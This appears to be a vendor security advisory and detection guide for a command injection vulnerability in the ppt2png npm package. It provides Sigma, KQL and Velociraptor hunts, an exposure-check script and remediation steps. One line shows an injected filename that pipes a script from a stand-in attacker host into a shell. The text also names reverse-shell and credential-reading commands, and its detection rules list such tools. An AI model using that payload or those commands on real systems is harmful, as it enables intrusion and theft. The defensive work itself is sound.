Back to Intelligence

CVE-2026-107699: Critical OS Command Injection in ppt2png Node.js Package — Detection and Remediation Guide

SA
Security Arsenal Team
October 9, 2026
11 min read

NVD has published CVE-2026-107699, a critical OS command injection vulnerability scoring CVSS 9.8 (NETWORK) in the ppt2png npm package — a Node.js utility commonly used to convert PowerPoint files to PNG images. All versions through 0.0.6 are affected. The flaw allows remote attackers to execute arbitrary operating system commands with the privileges of the Node.js process simply by supplying malicious input or output path arguments containing shell metacharacters such as ;.

This is the class of vulnerability that keeps IR teams busy: a developer-facing library quietly embedded in a document-processing pipeline, a web upload endpoint, or an automation service — reachable by untrusted input, executing shell commands server-side. If your organization converts Office documents in any Node.js service (thumbnail generation, preview rendering, e-discovery preprocessing, CMS ingestion), you need to inventory exposure to this package immediately. A CVSS 9.8 network-exploitable command injection in a file-handling path is precisely the primitive attackers use for initial access and web shell deployment.

Technical Analysis

Affected Component

  • Package: ppt2png (npm)
  • Affected versions: All versions through 0.0.6
  • CVE: CVE-2026-107699
  • CVSS v3.1: 9.8 (CRITICAL) — Attack Vector: NETWORK
  • Vulnerability type: CWE-78 — Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
  • Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-107699

Root Cause

The vulnerable code path lives in ppt2png.js. The package takes user-supplied input and/or output file path arguments and passes them directly into Node.js's child_process.exec() — which invokes /bin/sh -c (or cmd.exe on Windows) — without sanitization or escaping. Because exec() runs the string through a shell, any shell metacharacters in the filename break out of the intended command context.

A filename such as:

Bash / Shell
report.pptx; curl http://attacker.example/s.sh | sh #

results in the shell executing the conversion command, then the attacker's injected command, all under the Node.js process's privileges. Classic command injection — the same pattern that has driven countless web shell deployments. child_process.exec() is the single most dangerous API in the Node.js standard library for exactly this reason; execFile() with an argument array (no shell) is the safe alternative.

Exploitation Requirements and Attack Chain

From a defender's perspective, the realistic attack chain looks like this:

  1. Reconnaissance: Attacker identifies an application endpoint that accepts file uploads or path parameters and passes them to a Node.js backend performing PPT-to-PNG conversion.
  2. Delivery: Malicious filename or path value submitted — e.g., via multipart upload where the original filename is preserved, a JSON API path field, or a queue message consumed by a conversion worker.
  3. Execution: ppt2png interpolates the unsanitized value into the child_process.exec() call; the injected command runs with the service account's privileges.
  4. Post-exploitation: Typical follow-on behavior — reverse shells (bash -i, nc, curl | sh), web shell drops into the application directory, credential file reads (/etc/passwd, cloud metadata service at 169.254.169.254), and persistence via cron or systemd.

Containerized Node.js services do not contain this — a compromised conversion container with network egress is a beachhead into the cluster.

Exploitation Status

As of publication, CVE-2026-107699 is newly published by NVD and has not yet appeared in the CISA Known Exploited Vulnerabilities catalog. However, command injection flaws of this type require no exotic exploit development — the injection string is the exploit. Treat exploitation as imminent and trivially achievable, and prioritize accordingly. Given the package has no patched release (see Remediation), compensating controls and detection are your primary defenses today.

Detection & Response

The highest-fidelity detection signal for this vulnerability class is simple and durable: the Node.js process (node) spawning shell or utility child processes it has no business spawning. Legitimate document conversion may invoke LibreOffice or ImageMagick — but node spawning curl, wget, nc, bash -i, or base64 decoders is almost never legitimate. Baseline your conversion services first, then alert on deviation.

Sigma Rules

YAML
---
title: Node.js Process Spawning Suspicious Shell or Network Utility
description: Detects node.exe/node spawning shells, download cradles, or remote access tools consistent with OS command injection exploitation via packages such as ppt2png (CVE-2026-107699).
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-107699
  - https://attack.mitre.org/techniques/T1059/
author: Security Arsenal
date: 2026/04/06
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentImage|endswith:
      - '/node'
      - '/nodejs'
  selection_child:
    Image|endswith:
      - '/curl'
      - '/wget'
      - '/nc'
      - '/ncat'
      - '/netcat'
      - '/bash'
      - '/sh'
      - '/python'
      - '/python3'
      - '/perl'
      - '/base64'
      - '/chmod'
  filter_legit_conversion:
    CommandLine|contains:
      - 'libreoffice'
      - 'soffice'
      - 'convert '
      - 'pdftoppm'
  condition: selection_parent and selection_child and not filter_legit_conversion
falsepositives:
  - Node.js applications that legitimately shell out to utilities; baseline per-service and tune
level: high
---
title: Shell Metacharacters in File Path Arguments Passed to Node.js Conversion
description: Detects semicolon, pipe, or command substitution characters embedded in file path arguments on Node.js process command lines — a hallmark of command injection attempts against document conversion libraries like ppt2png.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-107699
  - https://attack.mitre.org/techniques/T1059/attack.t1059.004
author: Security Arsenal
date: 2026/04/06
logsource:
  category: process_creation
  product: linux
detection:
  selection_process:
    Image|endswith:
      - '/node'
      - '/soffice.bin'
      - '/convert'
  selection_injection:
    CommandLine|contains:
      - '.pptx;'
      - '.ppt;'
      - '.png;'
      - '; curl'
      - '; wget'
      - '; bash'
      - '; sh'
      - '; nc '
      - '| sh'
      - '| bash'
      - '`curl'
      - '$(curl'
      - '$(wget'
  condition: selection_process and selection_injection
falsepositives:
  - None expected; metacharacters in filenames passed to conversion tools are inherently suspicious
level: critical
---
title: Node.js Spawning Suspicious Child Process (Windows)
description: Detects node.exe spawning cmd.exe, powershell.exe, or download utilities consistent with command injection exploitation in Node.js packages such as ppt2png (CVE-2026-107699) on Windows hosts.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-107699
  - https://attack.mitre.org/techniques/T1059/
author: Security Arsenal
date: 2026/04/06
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\node.exe'
  selection_child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\curl.exe'
      - '\certutil.exe'
      - '\bitsadmin.exe'
      - '\wscript.exe'
      - '\cscript.exe'
  filter_build_tools:
    CommandLine|contains:
      - 'node-gyp'
      - 'npm '
  condition: selection_parent and selection_child and not filter_build_tools
falsepositives:
  - Build pipelines and npm lifecycle scripts; tune per host role
level: high

KQL — Microsoft Sentinel / Defender

The following query hunts for Node.js processes spawning suspicious child processes across both Defender (Windows/Linux endpoints) and Syslog-ingested Linux hosts, tuned to the post-exploitation behavior of this injection flaw.

KQL — Microsoft Sentinel / Defender
let SuspiciousChildren = dynamic(["curl", "wget", "nc", "ncat", "bash", "sh", "python", "python3", "perl", "base64", "chmod", "cmd.exe", "powershell.exe", "pwsh.exe", "certutil.exe", "bitsadmin.exe"]);
union isfuzzy=true
(DeviceProcessEvents
| where InitiatingProcessFileName in~ ("node", "node.exe", "nodejs")
| where FileName in~ (SuspiciousChildren)
    or ProcessCommandLine has_any ("; curl", "; wget", "| sh", "| bash", "$(curl", "$(wget", ".pptx;", ".ppt;")
| extend Source = "Defender"
| project TimeGenerated=TimeGenerated, Source, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName),
(Syslog
| where Facility == "user" or SyslogMessage has "node"
| where SyslogMessage has_any ("; curl", "; wget", "| sh", "| bash", "$(curl", ".pptx;", ".ppt;")
| extend Source = "Syslog"
| project TimeGenerated, Source, DeviceName=Computer, InitiatingProcessFileName=ProcessName, ProcessCommandLine=SyslogMessage)
)
| order by TimeGenerated desc

For a companion network hunt — conversion services that suddenly make outbound connections to rare external IPs or the cloud metadata service:

KQL — Microsoft Sentinel / Defender
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node", "node.exe", "nodejs", "sh", "bash", "curl", "wget")
| where RemoteIPType == "Public" or RemoteIP == "169.254.169.254"
| summarize ConnectionCount=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), DistinctURLs=dcount(RemoteUrl)
    by DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort, RemoteUrl
| where FirstSeen > ago(1d)
| order by FirstSeen desc

Velociraptor VQL

Use this hunt artifact to sweep your Linux fleet for Node.js processes with suspicious child-process command lines or injected metacharacters, and to enumerate hosts with the vulnerable package installed.

VQL — Velociraptor
-- Hunt: Node.js command injection indicators (CVE-2026-107699 / ppt2png)
-- Finds node processes spawning suspicious children or carrying
-- shell metacharacters in their command lines.
SELECT Pid, Ppid, Name, Exe, CommandLine, Username, CreateTime
FROM pslist()
WHERE (Name =~ '^(node|nodejs)$'
       AND CommandLine =~ '(;|\||\$\().*(curl|wget|bash|sh|nc)')
   OR (Name =~ '^(curl|wget|nc|ncat|bash|python3?|perl|base64)$'
       AND Ppid IN (
           SELECT Pid FROM pslist() WHERE Name =~ '^(node|nodejs)$'
       ))

-- Companion artifact: enumerate installed ppt2png versions
SELECT FullPath, Mtime,
       read_file(filename=FullPath) AS PackageJson
FROM glob(globs=[
    '/srv/**/node_modules/ppt2png/package.json',
    '/opt/**/node_modules/ppt2png/package.json',
    '/var/www/**/node_modules/ppt2png/package.json',
    '/home/**/node_modules/ppt2png/package.json',
    '/usr/lib/node_modules/ppt2png/package.json'
])

Remediation / Exposure Verification Script

Run this Bash script on Linux hosts and containers to identify ppt2png installations, the installed version, and whether Node.js services referencing it are running. It also checks for lockfile references so you catch transitive usage.

Bash / Shell
#!/usr/bin/env bash
# CVE-2026-107699 exposure check: locate ppt2png installs and running Node services
set -euo pipefail

echo "=== [1] Searching filesystem for ppt2png installations ==="
find / -type d -name "ppt2png" -path "*node_modules*" 2>/dev/null | while read -r dir; do
    pkg="$dir/package.json"
    if [ -f "$pkg" ]; then
        ver=$(grep -m1 '"version"' "$pkg" | sed 's/[^0-9.]//g')
        echo "[FOUND] $dir  version=$ver"
    fi
done

echo "=== [2] Checking package-lock / yarn.lock references ==="
find / -maxdepth 6 \( -name "package-lock.json" -o -name "yarn.lock" -o -name "pnpm-lock.yaml" \) 2>/dev/null | while read -r lock; do
    if grep -q "ppt2png" "$lock"; then
        echo "[LOCKFILE REF] $lock references ppt2png"
    fi
done

echo "=== [3] Running Node.js processes with ppt2png paths ==="
ps auxww | grep -E "node" | grep -v grep | while read -r line; do
    echo "$line"
done

echo "=== [4] Auditing child_process.exec usage in dependent code ==="
find / -type d -name "ppt2png" -path "*node_modules*" 2>/dev/null | while read -r dir; do
    grep -rn "child_process" "$dir" --include="*.js" | head -20
done

echo "=== [5] Recent suspicious shell activity from node processes (audit log, if available) ==="
if command -v ausearch >/dev/null 2>&1; then
    ausearch -ts recent -i 2>/dev/null | grep -E "node" | grep -E "curl|wget|bash|/bin/sh|nc " | tail -20 || echo "no matches"
else
    echo "ausearch not available; skip"
fi

echo "=== Done. Any [FOUND] entry with version <= 0.0.6 is vulnerable. ==="

For containerized environments, complement this with an image scan: docker images --format '{{.Repository}}:{{.Tag}}' | xargs -I{} sh -c 'docker run --rm {} sh -c "npm ls ppt2png 2>/dev/null || true"' or run your existing scanner (Trivy, Grype) with an updated vulnerability DB.

Remediation

There is no patched version of ppt2png as of this writing — the package is affected through 0.0.6, which is its latest published release. That changes your remediation strategy: you cannot npm update your way out of this one. Take the following steps in priority order:

  1. Inventory and quarantine (immediate). Use the script above plus your SBOM/dependency scanning (npm audit, Snyk, Trivy, Dependabot) to find every deployment of ppt2png. Include container images and serverless functions — this package hides in conversion microservices.
  2. Remove or replace the package (preferred). The strongest fix is elimination. Migrate conversion workloads to actively maintained alternatives — e.g., invoking LibreOffice headless (soffice --convert-to pdf) directly via execFile() with a strict argument array, or commercial conversion APIs. Any wrapper that uses child_process.exec() with interpolated paths is the same bug waiting to happen.
  3. If removal is not immediately possible, enforce input handling at your boundary:
    • Never pass user-controlled filenames to the converter. Generate server-side random filenames (e.g., UUIDs), write uploads to a fixed directory, and pass only your own constructed paths.
    • Validate any path value against an allowlist regex such as ^[a-zA-Z0-9._/-]+$ and reject anything containing ;, |, &, $, backticks, or whitespace.
    • If you maintain a fork, replace child_process.exec() with execFile() and an argument array — no shell, no injection surface.
  4. Reduce blast radius. Run conversion services as a dedicated low-privilege user in a hardened container: read-only root filesystem, dropped capabilities, no outbound network egress except required destinations (block access to 169.254.169.254), and seccomp/AppArmor profiles limiting syscalls. Command injection in a no-egress, read-only container is a far smaller incident.
  5. Deploy the detections above and alert on any node → shell/utility process lineage. Given the trivial exploitation, assume any exposed instance will be probed.
  6. Monitor for upstream activity. Watch the NVD entry (https://nvd.nist.gov/vuln/detail/CVE-2026-107699), the npm advisory database (npm audit), and GitHub Security Advisories for a patched release or a community fork. Also watch CISA KEV — command injections in internet-facing file handlers are frequent KEV additions once PoCs circulate.
  7. Retro-hunt. Because exploitation requires no malware drop — the filename is the payload — review historical web access logs for conversion/upload endpoints containing encoded metacharacters (%3B = ;, %7C = |, %24%28 = $() in filename or path parameters. A hit is a strong indicator of attempted exploitation and warrants full IR scoping of the host.

Executive Summary for Leadership

CVE-2026-107699 is a CVSS 9.8 remotely exploitable command injection in a small but quietly widespread Node.js document-conversion package. No patch exists; the mitigation is removal, strict input handling, network egress control, and behavioral detection on Node.js spawning shells. The work is mostly inventory and containment — hours, not weeks — and it meaningfully closes a web-shell-grade initial access path.

Related Resources

Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub

Is your security operations ready?

Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.